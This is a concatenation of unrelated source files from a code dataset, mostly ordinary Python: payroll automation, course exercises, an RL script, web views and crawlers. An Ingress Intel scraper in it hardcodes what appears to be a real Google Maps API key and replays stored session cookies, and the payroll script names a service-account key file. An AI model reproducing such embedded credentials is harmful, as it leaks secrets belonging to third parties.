read_google_spreadsheet()\n companies = df['Empresas'].tolist()\n faps = df['Fap'].tolist()\n prolabores = df['Pró-labore'].tolist()\n path = \"P:\\\\documentos\\\\OneDrive - Novus Contabilidade\\\\Doc Compartilhado\\\\Pessoal\\\\Relatórios Sefip\"\n\n # Standardize the Pró-labore's format\n for i in range(0, len(prolabores)):\n if prolabores[i] != \"Sim\":\n prolabores[i] = \"Não\"\n\n # Make sure the codes are int values (sometimes they are imported as float)\n for i in range(0, len(companies)):\n try:\n companies[i] = int(companies[i])\n except ValueError:\n pass\n\n dictionary = cria_dicionario(companies, faps, prolabores, path) # {Código: [Nome, Fap, Pró-labore]}\n rows_to_delete = []\n for i in df.index:\n if df.at[i, 'Fase 1'] != 'Ok':\n print ('Começando Fase 1', companies[i])\n phase_1(df, i, dictionary, companies[i], month, year)\n elif month != '13' and 'Verificado' in df.at[i, 'Verificado Fase 1'] and df.at[i, 'Fase 2'] != 'Ok':\n print ('Começando Fase 2', companies[i])\n if phase_2(df, i, dictionary, companies[i], month, year):\n df.at[i, 'Fase 2'] = 'Ok'\n d2g.upload(df, spreadsheet_key, credentials=credentials,\n row_names=False) # row_names=False removes the index 'column'\n elif df.at[i, 'Verificado Fase 1'] == 'Verificado' and df.at[i, 'Verificado Fase 2'] == 'Verificado':\n rows_to_delete.append(i)\n elif df.at[i, 'Pró-labore'] == \"Sim\" and df.at[i, 'Verificado Fase 1'] == 'Verificado':\n rows_to_delete.append(i)\n else:\n print (\"Conferir linha {} empresa {}\".format(i, companies[i]))\n\n\ndef phase_1(df, i, dictionary, company, month, year):\n scope = ['https://spreadsheets.google.com/feeds',\n 'https://www.googleapis.com/auth/drive']\n credentials = ServiceAccountCredentials.from_json_keyfile_name(\n 'gfip-294718-351dce3da4ae.json', scope) # The credential json file here\n spreadsheet_key = \"1SFa0STOpjhB5b8Eqi92E40yDBCH9EFwqG_Mgv5gYdq0\"\n\n print (\"Começando empresa \", company)\n now = datetime.now()\n start_time = now.strftime(\"%H:%M:%S\")\n df.at[i, 'Início'] = start_time\n\n # Check if the company is the type prolabore\n prolabore = None\n try:\n if dictionary[company][2] == \"Sim\":\n prolabore = True\n elif dictionary[company][2] == \"Não\":\n prolabore = False\n except:\n df.at[i, 'Fase 1'] = 'Ok'\n df.at[i, 'Erros'] = 'Não existe pasta'\n\n now = datetime.now()\n df.at[i, 'Fim'] = now.strftime(\"%H:%M:%S\")\n #df.at[i, 'Diferença de tempo'] = now.strftime(\"%H:%M:%S\") - start_time\n d2g.upload(df, spreadsheet_key, credentials=credentials,\n row_names=False) # row_names=False removes the index 'column'\n return\n\n if gerar_selos(company, month, year, dictionary, prolabore) is False:\n df.at[i, 'Fase 1'] = 'Ok'\n df.at[i, 'Erros'] = 'Problema ao gerar selo'\n now = datetime.now()\n df.at[i, 'Fim'] = now.strftime(\"%H:%M:%S\")\n #df.at[i, 'Diferença de tempo'] = now.strftime(\"%H:%M:%S\") - start_time\n d2g.upload(df, spreadsheet_key, credentials=credentials,\n row_names=False) # row_names=False removes the index 'column'\n return\n if gerar_sfps(company, month, year, dictionary, str(dictionary[company][1]), prolabore) is False:\n df.at[i, 'Fase 1'] = 'Ok'\n df.at[i, 'Erros'] = 'Problema ao passar na SEFIP'\n now = datetime.now()\n df.at[i, 'Fim'] = now.strftime(\"%H:%M:%S\")\n #df.at[i, 'Diferença de tempo'] = now.strftime(\"%H:%M:%S\") - start_time\n d2g.upload(df, spreadsheet_key, credentials=credentials,\n row_names=False) # row_names=False removes the index 'column'\n return\n\n if transmitir_gfips(company, month, year, dictionary) is False:\n df.at[i, 'Fase 1'] = 'Ok'\n df.at[i, 'Erros'] = 'Problema ao passar no site da Conecitividade'\n now = datetime.now()\n df.at[i, 'Fim'] = now.strftime(\"%H:%M:%S\")\n # df.at[i, 'Diferença de tempo'] = now.strftime(\"%H:%M:%S\") - start_time\n d2g.upload(df, spreadsheet_key, credentials=credentials,\n row_names=False) # row_names=False removes the index 'column'\n return\n if salvar_relatorios(company, month, year, dictionary, prolabore) is False:\n df.at[i, 'Fase 1'] = 'Ok'\n df.at[i, 'Erros'] = 'Problema algum dos relatórios'\n now = datetime.now()\n df.at[i, 'Fim'] = now.strftime(\"%H:%M:%S\")\n #df.at[i, 'Diferença de tempo'] = now.strftime(\"%H:%M:%S\") - start_time\n d2g.upload(df, spreadsheet_key, credentials=credentials,\n row_names=False) # row_names=False removes the index 'column'\n return\n\n if prolabore is False and month != '13':\n print (\"Gerando guia do FGTS...\", month)\n if gerar_fgts(company,month, year, dictionary) is False:\n df.at[i, 'Fase 1'] = 'Ok'\n df.at[i, 'Erros'] = 'Problema ao gerar guia do FGTS'\n now = datetime.now()\n df.at[i, 'Fim'] = now.strftime(\"%H:%M:%S\")\n #df.at[i, 'Diferença de tempo'] = now.strftime(\"%H:%M:%S\") - start_time\n d2g.upload(df, spreadsheet_key, credentials=credentials,\n row_names=False) # row_names=False removes the index 'column'\n return\n\n df.at[i, 'Fase 1'] = 'Ok'\n now = datetime.now()\n df.at[i, 'Fim'] = now.strftime(\"%H:%M:%S\")\n# df.at[i, 'Diferença de tempo'] = now.strftime(\"%H:%M:%S\") - start_time\n d2g.upload(df, spreadsheet_key, credentials=credentials,\n row_names=False) # row_names=False removes the index 'column'\n return\n\ndef phase_2(df, i, dictionary, company, month, year):\n scope = ['https://spreadsheets.google.com/feeds',\n 'https://www.googleapis.com/auth/drive']\n credentials = ServiceAccountCredentials.from_json_keyfile_name(\n 'gfip-294718-351dce3da4ae.json', scope) # The credential json file here\n spreadsheet_key = \"1SFa0STOpjhB5b8Eqi92E40yDBCH9EFwqG_Mgv5gYdq0\"\n if postar_no_site(company, month, year, dictionary) is False:\n df.at[i, 'Erros'] = 'Erro ao postar guia do FGTS'\n d2g.upload(df, spreadsheet_key, credentials=credentials,\n row_names=False)\n return False\n return True\n\ndef postar_guias(df, mes, ano, app):\n empresas = df['Código'].tolist()\n faps = df['Fap'].tolist()\n path = \"P:\\\\documentos\\\\OneDrive - Novus Contabilidade\\\\Doc Compartilhado\\\\Pessoal\\\\Relatórios Sefip\"\n dicionario = cria_dicionario(empresas, faps, path)\n\n for i in df.index:\n empresa = df.at[i, 'Código']\n if df.at[i, 'Fase 1'] != 'Ok':# and df.at[i, 'Fase 2'] != 'Ok':\n print (\"Começando \", empresa)\n if postar_no_site(empresa, mes, ano, dicionario, app) is False:\n continue\n\n\n# Lendo google planilhas\n# scope = ['https://spreadsheets.google.com/feeds',\n# 'https://www.googleapis.com/auth/drive']\n#\n# credentials = ServiceAccountCredentials.from_json_keyfile_name(\n# 'gfip-294718-351dce3da4ae.json', scope) # Your json file here\n#\n# gc = gspread.authorize(credentials)\n# df = gc.open(\"Controle Empresas GFIP\").sheet1\n# data = wks.get_all_values()\n# headers = data.pop(0)\n#\n# df = pd.DataFrame(data, columns=headers)\n\n\n# df = pd.read_csv(\"E:\\\\Users\\\\thiago.madeira\\\\PycharmProjects\\\\GFIP\\\\empresas_gfip.csv\", encoding=\"latin1\", sep=\";\",\n# converters={'Codigos Empresas': lambda x: str(x)})\n#\n# comecar(df, \"10\", \"2020\", \"teste\", prolabore=True)","sub_path":"comecar.py","file_name":"comecar.py","file_ext":"py","file_size_in_byte":9268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"206864284","text":"# Alec Lord\n# ITP 115, Fall 2016\n# Lab L10\n# alord@usc.edu\ndef readFile(filename = \"gettysburg.txt\"):\n alpha = {}\n fileIn = open(filename, \"r\")\n for line in fileIn:\n line = line.strip()\n letterList = list(line)\n for letter in letterList:\n if letter not in \" .,-\\\"\\'\":\n letter = letter.lower()\n if letter not in alpha.keys():\n alpha[letter] = 1\n else:\n alpha[letter] += 1\n fileIn.close()\n return alpha\ndef sortKeys(dictionary):\n keys = list(dictionary.keys())\n keys.sort()\n return keys\ndef main():\n letters = readFile()\n values = []\n sortedKeys = sortKeys(letters)\n for key in sortedKeys:\n print(key, \":\", letters[key])\n values.append(letters[key])\n maxCount = max(values)\n index = values.index(maxCount)\n keyForMax = sortedKeys[index]\n print(\"Max count = \", maxCount)\n print(\"Key for max = \", keyForMax)\nmain()","sub_path":"files/ITP_l10_Lord_Alec/ITP_l10_Lord_Alec.py","file_name":"ITP_l10_Lord_Alec.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"590538179","text":"import sys\nimport heapq\nfrom operator import itemgetter\nfrom collections import deque, defaultdict\nfrom bisect import bisect_left, bisect_right\ninput = sys.stdin.readline\nsys.setrecursionlimit(10 ** 7)\nMOD = 10**9 + 7\n\ndef sol():\n N = int(input())\n item = [0] * N\n\n for i in range(N):\n A, B = map(int, input().split())\n item[i] = (A, B)\n\n now = set(range(N))\n while len(now) > 1:\n nx = set([])\n while len(now) > 1:\n i = now.pop()\n j = now.pop()\n A1, B1 = item[i]\n A2, B2 = item[j]\n I = (A1 + B2 - 1) // B2\n J = (A2 + B1 - 1) // B1\n if I > J:\n nx.add(i)\n else:\n nx.add(j)\n else:\n if len(now) == 1:\n nx.add(now.pop())\n now = nx\n\n ans = now.pop()\n A, B = item[ans]\n for j, (a, b) in enumerate(item):\n if ans == j:\n continue\n I = (A + b - 1) // b\n J = (a + B - 1) // B\n if I > J:\n continue\n else:\n print(-1)\n return\n print(ans + 1)\n\n\nsol()","sub_path":"AtCoder/other/chokudai_speed_run/i.py","file_name":"i.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"39827121","text":"import pandas as pd\nfrom zipline.data.bundles import register\nfrom zipline.data.bundles.csvdir import csvdir_equities\n\n\nstart_session = pd.Timestamp('2007-1-2', tz='utc')\nend_session = pd.Timestamp('2017-10-27', tz='utc')\n\nregister(\n 'custom_history',\n csvdir_equities(\n ['minute'],\n '/home/kaiyan/Workspace/zipline/custom_history',\n ),\n calendar_name='CFX',\n start_session=start_session,\n end_session=end_session,\n minutes_per_day=24*60,\n)\n","sub_path":"sys.bak/extension.py","file_name":"extension.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"314675507","text":"import requests\r\nimport json\r\nfrom .models import Cookie\r\n\r\ndef post_portal_guid(guid):\r\n account = Cookie.objects.get(pk=1)\r\n url = 'https://intel.ingress.com/r/getPortalDetails'\r\n headers = {\r\n 'origin': 'https://intel.ingress.com',\r\n 'accept-encoding': 'gzip, deflate, br',\r\n 'accept-language': 'it,en;q=0.8,it-IT;q=0.6,en-US;q=0.4',\r\n 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36',\r\n 'x-csrftoken': account.csrftoken,\r\n 'content-type': 'application/json; charset=UTF-8',\r\n 'accept': '*/*',\r\n 'referer': 'https://intel.ingress.com/intel',\r\n 'authority': 'intel.ingress.com',\r\n }\r\n cookie = {\r\n 'csrftoken': account.csrftoken,\r\n 'SACSID': account.sacsid\r\n }\r\n data = {\r\n 'guid': guid,\r\n 'v': account.v\r\n }\r\n\r\n response = requests.post(url, data=json.dumps(data), headers=headers, cookies=cookie)\r\n json_data = response.json()\r\n\r\n return json_data['result']\r\n\r\n\r\ndef get_portal_details(guid):\r\n data = post_portal_guid(guid)\r\n # portal name\r\n name = data[8]\r\n if data[1] == 'R':\r\n team = '레지'\r\n elif data[1] == 'N':\r\n team = '중립'\r\n else:\r\n team = '인라'\r\n\r\n # portal mod\r\n mod = ''\r\n for i in range(0,4):\r\n if data[14][i] is not None:\r\n slot = '%s %s : %s\\n' % (data[14][i][2], data[14][i][1], data[14][i][0])\r\n mod += slot\r\n\r\n # portal image\r\n img_url = data[7]\r\n\r\n # portal resonator\r\n resonator = ''\r\n resonator_levels = 0\r\n resonator_hp = 0\r\n\r\n for slot in data[15]:\r\n if slot[1] == 8:\r\n resonator_hp = 6000\r\n if slot[1] == 7:\r\n resonator_hp = 5000\r\n if slot[1] == 6:\r\n resonator_hp = 4000\r\n if slot[1] == 5:\r\n resonator_hp = 3000\r\n if slot[1] == 4:\r\n resonator_hp = 2500\r\n if slot[1] == 3:\r\n resonator_hp = 2000\r\n if slot[1] == 2:\r\n resonator_hp = 1500\r\n if slot[1] == 1:\r\n resonator_hp = 1000\r\n\r\n slot[2] = '(%s/%s) %d%%' % (slot[2], resonator_hp, slot[2]/resonator_hp * 100)\r\n\r\n resonator += '%s: L%s %s\\n' % (slot[0], slot[1], slot[2])\r\n resonator_levels += int(slot[1])\r\n\r\n portal_level = float(resonator_levels)/8.0\r\n\r\n owner = data[16]\r\n if owner == '':\r\n owner = 'None'\r\n\r\n lat = str(data[2])\r\n lat = lat[:2] + '.' + lat[2:]\r\n lng = str(data[3])\r\n lng = lng[:3] + '.' + lng[3:]\r\n\r\n google_url = 'https://maps.googleapis.com/maps/api/geocode/json?latlng=%s,%s&key=AIzaSyCUHEZ8AfodCDa8EHpB1q71a8zTkWQ0yPE' % (lat, lng)\r\n headers = {\"Accept-Language\": \"ko-kr,ko;q=0.8\"}\r\n response = requests.get(google_url, headers=headers)\r\n content = response.content.decode('utf-8')\r\n json_data = json.loads(content)\r\n address_1 = json_data['results'][0]['formatted_address']\r\n address_2 = json_data['results'][1]['formatted_address']\r\n\r\n text = '포탈명 : %s\\n' \\\r\n '소유자 : %s (%s)\\n' \\\r\n '레벨 : %s\\n\\n' \\\r\n '모드 : \\n%s\\n' \\\r\n '레조 : \\n%s\\n' \\\r\n '좌표 : (%s, %s)\\n\\n' \\\r\n '주소(1) : %s\\n\\n' \\\r\n '주소(2) : %s\\n\\n' \\\r\n '링크 : https://www.ingress.com/intel?ll=%s,%s&z=17&pll=%s,%s' % (name, owner, team, portal_level, mod, resonator, lat, lng, address_1, address_2, lat, lng, lat, lng)\r\n\r\n return text, img_url\r\n\r\n","sub_path":"portal/getportaldetail.py","file_name":"getportaldetail.py","file_ext":"py","file_size_in_byte":3552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"9216986","text":"#Import library\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\n\r\n#Import dataset\r\ndataset = pd.read_csv('50_Startups.csv')\r\nX = dataset.iloc[:,:-1].values\r\ny = dataset.iloc[:,4].values\r\n\r\n# Encoding the independent variable \r\nfrom sklearn.preprocessing import LabelEncoder, OneHotEncoder\r\nlabelencoder_X = LabelEncoder()\r\nX[:,3] = labelencoder_X.fit_transform(X[:,3])\r\nonehotencoder = OneHotEncoder(categorical_features = [3])\r\nX = onehotencoder.fit_transform(X).toarray()\r\n\r\n# Avoid the dummy variable trap\r\nX = X[:,1:]\r\n\r\n# Split the dataset into the training set and the test set\r\nfrom sklearn.model_selection import train_test_split\r\nX_train, X_test, y_train, y_test = train_test_split(X,y,test_size = 0.2, random_state = 0)\r\n\r\n#Fit to the training set\r\nfrom sklearn.linear_model import LinearRegression\r\nregressor = LinearRegression()\r\nregressor.fit(X_train, y_train)\r\n\r\nX = np.append (arr=np.ones((50,1)).astype(int), values = X, axis = 1)\r\n\r\n# Building the optimal model using Backward Elimination\r\nimport statsmodels.api as sm\r\n## Step 1\r\nX_opt = X[:, [0,1,2,3,4,5]]\r\n## Step 2\r\nreg_OLS = sm.OLS(endog = y, exog = X_opt).fit()\r\n## Step 3\r\nprint(reg_OLS.summary())\r\n## Step 1\r\nX_opt = X[:, [0,1,3,4,5]]\r\n## Step 2\r\nreg_OLS = sm.OLS(endog = y, exog = X_opt).fit()\r\n## Step 3\r\nprint(reg_OLS.summary())\r\n## Step 1\r\nX_opt = X[:, [0,3,4,5]]\r\n## Step 2\r\nreg_OLS = sm.OLS(endog = y, exog = X_opt).fit()\r\n## Step 3\r\nprint(reg_OLS.summary())\r\n## Step 1\r\nX_opt = X[:, [0,3,5]]\r\n## Step 2\r\nreg_OLS = sm.OLS(endog = y, exog = X_opt).fit()\r\n## Step 3\r\nprint(reg_OLS.summary())\r\nX_opt = X[:, [0,3]]\r\n## Step 2\r\nreg_OLS = sm.OLS(endog = y, exog = X_opt).fit()\r\n## Step 3\r\nprint(reg_OLS.summary())\r\n\r\nimport numpy as nm \r\nimport matplotlib.pyplot as mpl \r\nimport pandas as pd\r\n\r\nX_after = dataset['R&D Spend'].values\r\nX_after = np.reshape(X_after, (-1,1))\r\ny_after = dataset['Profit'].values\r\n\r\nfrom sklearn.model_selection import train_test_split\r\nX_after_train, X_after_test, y_after_train,y_after_test = train_test_split(X_after, y_after, test_size = 0.02,\r\n random_state = 0)\r\n\r\nfrom sklearn.linear_model import LinearRegression\r\nlin_reg = LinearRegression()\r\nlin_reg.fit(X_after_train, y_after_train)\r\n\r\nmpl.scatter(X_after_train,y_after_train, color = 'blue')\r\nmpl.plot(X_after_train, lin_reg.predict(X_after_train), color = 'red')\r\nmpl.xlabel(\"R&D Spend\")\r\nmpl.ylabel(\"Profit\")\r\nmpl.title(\"R&D Spend vs Profit (Training set)\", color = 'darkred')\r\nmpl.show()\r\n","sub_path":"Multiple Linear Regression/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"310736441","text":"import json\nimport requests\nfrom requests import exceptions\n\nURL = 'https://api.github.com'\n\ndef build_url(endpoint):\n return '/'.join([URL, endpoint])\n\ndef butter_print(json_str):\n return json.dumps(json.loads(json_str), indent=4) # 缩进为4\n\ndef timeout_request():\n try:\n response = requests.get(build_url('user/emails'), timeout=10)\n # 显视地抛出异常\n response.raise_for_status()\n except exceptions.Timeout as e:\n print(e)\n except exceptions.HTTPError as e:\n print(e)\n else:\n print(response.text)\n\n\nif __name__ == '__main__':\n timeout_request()\n","sub_path":"requests-spider/request-exception.py","file_name":"request-exception.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"50180809","text":"import pdb\nimport gym\nimport torch\nimport numpy as np\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport reward as rw\nimport reward.utils as U\n\nU.device.set_device('cuda')\nDEVICE = U.device.get()\n\n\nclass PolicyNN(nn.Module):\n def __init__(self, n_in, n_out, hidden=256, activation=nn.ReLU, logstd_range=(-20, 2)):\n super().__init__()\n self.logstd_range = logstd_range\n\n layers = []\n layers += [nn.Linear(n_in, hidden), activation()]\n layers += [nn.Linear(hidden, hidden), activation()]\n self.layers = nn.Sequential(*layers)\n self.mean = nn.Linear(hidden, n_out)\n self.mean.weight.data.uniform_(-3e-3, 3e-3)\n self.mean.bias.data.uniform_(-3e-3, 3e-3)\n self.log_std = nn.Linear(hidden, n_out)\n self.log_std.weight.data.uniform_(-3e-3, 3e-3)\n self.log_std.bias.data.uniform_(-3e-3, 3e-3)\n\n def forward(self, x):\n x = self.layers(x)\n mean = self.mean(x)\n log_std = self.log_std(x).clamp(*self.logstd_range)\n return mean, log_std\n\n\nclass ValueNN(nn.Module):\n def __init__(self, n_in, hidden=256, activation=nn.ReLU):\n super().__init__()\n layers = []\n layers += [nn.Linear(n_in, hidden), activation()]\n layers += [nn.Linear(hidden, hidden), activation()]\n final_layer = nn.Linear(hidden, 1)\n final_layer.weight.data.uniform_(-3e-3, 3e-3)\n final_layer.bias.data.uniform_(-3e-3, 3e-3)\n layers += [final_layer]\n self.layers = nn.Sequential(*layers)\n\n def forward(self, x): return self.layers(x)\n\n\nclass QValueNN(nn.Module):\n def __init__(self, n_in, n_acs, hidden=256, activation=nn.ReLU):\n super().__init__()\n layers = []\n layers += [nn.Linear(n_in + n_acs, hidden), activation()]\n layers += [nn.Linear(hidden, hidden), activation()]\n final_layer = nn.Linear(hidden, 1)\n final_layer.weight.data.uniform_(-3e-3, 3e-3)\n final_layer.bias.data.uniform_(-3e-3, 3e-3)\n layers += [final_layer]\n self.layers = nn.Sequential(*layers)\n\n def forward(self, s, a): return self.layers(torch.cat([s, a], dim=1))\n\n\nclass Policy:\n def __init__(self, nn): self.nn = nn\n \n def get_dist(self, s):\n mean, log_std = self.nn(s)\n return rw.dist.TanhNormal(loc=mean, scale=log_std.exp())\n\n def get_act(self, s=None, dist=None):\n assert (s is not None and dist is None) or (s is None and dist is not None)\n dist = dist or self.get_dist(s=s)\n return dist.rsample()\n\n def get_act_pre(self, s=None, dist=None):\n assert (s is not None and dist is None) or (s is None and dist is not None)\n dist = dist or self.get_dist(s=s)\n return dist.rsample_with_pre()\n\n def logprob(self, dist, acs): return dist.log_prob(acs).sum(-1, keepdim=True)\n def logprob_pre(self, dist, acs): return dist.log_prob_pre(acs).sum(-1, keepdim=True)\n def mean(self, dist): return dist.loc\n def std(self, dist): return dist.scale\n\nenv_fn = lambda: gym.make('Humanoid-v2')\nenv = env_fn()\n# Define spaces\nS = rw.space.Continuous(low=env.observation_space.low, high=env.observation_space.high)\nA = rw.space.Continuous(low=env.action_space.low, high=env.action_space.high)\na_map = U.map_range(-1, 1, A.low[0], A.high[0])\n\npnn = PolicyNN(n_in=S.shape[0], n_out=A.shape[0]).to(DEVICE)\nq1nn = QValueNN(n_in=S.shape[0], n_acs=A.shape[0]).to(DEVICE)\nq2nn = QValueNN(n_in=S.shape[0], n_acs=A.shape[0]).to(DEVICE)\nvnn = ValueNN(n_in=S.shape[0]).to(DEVICE)\nvnn_targ = ValueNN(n_in=S.shape[0]).to(DEVICE).eval()\npolicy = Policy(nn=pnn)\n\np_opt = torch.optim.Adam(pnn.parameters(), lr=3e-4)\nq1_opt = torch.optim.Adam(q1nn.parameters(), lr=3e-4)\nq2_opt = torch.optim.Adam(q2nn.parameters(), lr=3e-4)\nv_opt = torch.optim.Adam(vnn.parameters(), lr=3e-4)\n\nrw.logger.set_logdir('logs/humanoid/paac-2048b-v4-0')\nrw.logger.set_maxsteps(20e6)\nmodel = rw.model.SAC(policy=policy, q1nn=q1nn, q2nn=q2nn, vnn=vnn, vnn_targ=vnn_targ, p_opt=p_opt, q1_opt=q1_opt, q2_opt=q2_opt, v_opt=v_opt,\n r_scale=20., gamma=0.99)\nagent = rw.agent.Replay(model=model, s_sp=S, a_sp=A, bs=2048, maxlen=1e6)\n\nrunner = rw.runner.PAAC(env_fn, n_envs=8, n_workers=8, s_sp=S, a_sp=A)\n\ns = runner.reset()\nfor i in range(int(20e6)):\n a = agent.get_act(S(s))\n s, r, d, _ = runner.step(a_map(a[0].arr))\n agent.report(r=np.array(r), d=np.array(d))\n\n","sub_path":"examples3/sac/paac_mujoco.py","file_name":"paac_mujoco.py","file_ext":"py","file_size_in_byte":4410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"448380841","text":"from django.template import RequestContext \nfrom django.shortcuts import render_to_response\nfrom blog.models import Post\n \ndef post_detail(request, year, month, day, slug):\n post = Post.objects.select_related().get(created_at__year=year, created_at__month=month, \n created_at__day=day, slug=slug)\n return render_to_response('blog/post_detail.html', locals(), \n context_instance=RequestContext(request))\n \ndef post_list(request, year=None, month=None, day=None, tag=None):\n if tag:\n post_list = Post.tagged.with_all(tag).select_related()\n else:\n post_list = Post.objects.select_related()\n if year:\n post_list = post_list.filter(created_at__year=year)\n if month:\n post_list = post_list.filter(created_at__month=month)\n if day:\n post_list = post_list.filter(created_at__day=day)\n post_list = post_list.order_by('-created_at')\n return render_to_response('blog/post_list.html', locals(), \n context_instance=RequestContext(request))\n","sub_path":"src/blawg/apps/blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"395305462","text":"from flask_restplus import Resource\nfrom ..util.dto import DietDto\nfrom ..service.diet_service import save_diet, get_a_diet, get_all_diets, delete_a_diet\nfrom ..util import exceptions as exs\n\napi = DietDto.api\ndiet_create_model = DietDto.diet_create_model()\ndiet_model = DietDto.diet_model()\n\n\n@api.route('/')\nclass DietList(Resource):\n @api.marshal_list_with(diet_model.model)\n @api.response(200, 'All diets successfully returned')\n def get(self):\n \"\"\" Get all available diets \"\"\"\n return get_all_diets()\n\n @api.expect(diet_create_model.model)\n @diet_create_model.pass_parsed()\n @api.response(201, 'Diet successfully created')\n def post(self, props):\n \"\"\" Create new diet \"\"\"\n return save_diet(props['name'], props['description'])\n\n\n@api.route('/')\nclass Diet(Resource):\n @api.marshal_with(diet_model.model)\n @api.response(404, 'diet not found')\n @api.response(200, 'Diet successfully found and returned')\n def get(self, diet_id):\n \"\"\" Get diet by id \"\"\"\n diet = get_a_diet(diet_id)\n if diet is None:\n exs.EntityNotFoundException('diet')\n return diet\n\n @api.response(404, 'diet not found')\n @api.response(200, 'diet deleted')\n def delete(self, diet_id):\n \"\"\" Delete diet by id \"\"\"\n return delete_a_diet(diet_id)\n","sub_path":"app/main/controller/diet_controller.py","file_name":"diet_controller.py","file_ext":"py","file_size_in_byte":1345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"160220672","text":"\r\ndef pytest_addoption(parser):\r\n \r\n parser.addoption(\r\n '--baseurl',\r\n action='store',\r\n default='https://www.google.com',\r\n help='base url')\r\n \r\n parser.addoption(\r\n '--browser',\r\n action='store',\r\n default='firefox',\r\n help='browser: firefox or ie')\r\n \r\n # Location of Firefox executable. This gets passed as an argument to\r\n # the Firefox driver constructor\r\n parser.addoption(\r\n '--firefoxbin',\r\n action='store',\r\n #default=r'C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe',\r\n default='/usr/bin/firefox',\r\n help='path of firefox executable (firefox.exe)')\r\n \r\n ","sub_path":"seleniumTalk/tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"332530428","text":"import pickle\n\n# with open('phonebook.pickle', 'wb') as fh:\n# pickle.dump(phonebook, fh)\n\nwith open('phonebook.pickle', 'rb') as fh:\n phonebook = pickle.load(fh)\n\n\n# Main\n\nuserInput = \"\"\n\n\n#function\ndef dumpPickle():\n with open('phonebook.pickle', 'wb') as fh:\n pickle.dump(phonebook, fh)\n\ndef find():\n findName = input(\"Name: \")\n findPerson = phonebook[findName]\n print(f\"Phone Number: {findPerson}\")\n print(f\"Found entry for {findName}\")\n\ndef add():\n newName = input(\"Name: \")\n newNumber = input(\"Phone Number: \")\n phonebook[newName] = newNumber\n dumpPickle()\n print(f\"Entry stored for {newName}\")\n\ndef delete():\n delName = input(\"Name: \")\n del phonebook[delName]\n dumpPickle()\n print(f\"Deleted entry for {delName}\")\n\ndef displayAll():\n print( phonebook)\nquitProgram = \"5\"\n\n\nwhile quitProgram == \"5\":\n userInput = input('''\nElectronic Phone Book\n=====================\n1. Look up an entry\n2. Set an entry\n3. Delete an entry\n4. List all entries\n5. Quit\nWhat do you want to do (1-5)? ''')\n choice = userInput\n if choice == \"1\":\n find()\n elif choice == \"2\":\n add()\n elif choice == \"3\":\n delete()\n elif choice == \"4\":\n displayAll()\n elif choice == \"5\":\n print(\"Bye.\")\n break\n else:\n print(\"Invaild selection!\")\n","sub_path":"Python/Dictionary.py/phonebook.py","file_name":"phonebook.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"540788481","text":"import json\r\nimport re\r\n\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\n\r\nfrom Crawler_all_links import crawler_for_links\r\nfrom Crawler_all_names import crawler_for_names\r\n\r\nrunning_pages = int(input('Enter a integer to show how many pages read in the same time: \\n'))\r\ndefault_page = requests.get('http://bangumi.tv/person?type=1').content.decode('utf8')\r\nsoup = BeautifulSoup(default_page, 'lxml')\r\ntotal_page = soup.find('span', {'class': 'p_edge'})\r\ntotal_page = int(re.search('\\d+', re.search('/.+?\\d+', total_page.prettify()).group(0)).group(0))\r\nurl = 'http://bangumi.tv/person?type=1&page={page}'\r\npages = []\r\nfor i in range(1, total_page + 1):\r\n url_to_search = url.format(page=i)\r\n pages.append(url_to_search)\r\ncrawler_1 = crawler_for_links(urls=pages, concurrency=running_pages)\r\nitems = crawler_1.run()\r\ntotal_href = set()\r\nfor each in items:\r\n total_href.add('http://bangumi.tv' + each)\r\nprint('total %s found' % str(len(total_href)))\r\ncrawler_2 = crawler_for_names(urls=total_href, concurrency=running_pages)\r\nitems = crawler_2.run()\r\ngroup = []\r\ntext = ''\r\nfor each in items:\r\n text += (each + ':' + items[each] + ',')\r\n value = {\r\n \"name\": \"\",\r\n \"urls\": [],\r\n \"substitutions\": [\r\n {\r\n \"input\": each,\r\n \"inputType\": \"text\",\r\n \"output\": items[each],\r\n \"caseSensitive\": False\r\n }\r\n ],\r\n \"html\": \"none\",\r\n \"enabled\": True\r\n }\r\n group.append(value)\r\nresult = {\r\n 'version': '0.15',\r\n \"group\": group\r\n}\r\n\r\nwith open('result.json', 'w', encoding='utf8') as f:\r\n json.dump(result, f, ensure_ascii=False)\r\nwith open('result.text', 'w', encoding='utf8') as f:\r\n f.write(text)\r\n","sub_path":"main_CV.py","file_name":"main_CV.py","file_ext":"py","file_size_in_byte":1742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"390783239","text":"from django.contrib.auth.forms import UserCreationForm\nfrom django import forms\nfrom django.forms import ModelForm\nfrom django.db import transaction\nfrom account.models import User, JobseekerProfile, EmployerProfile\nfrom 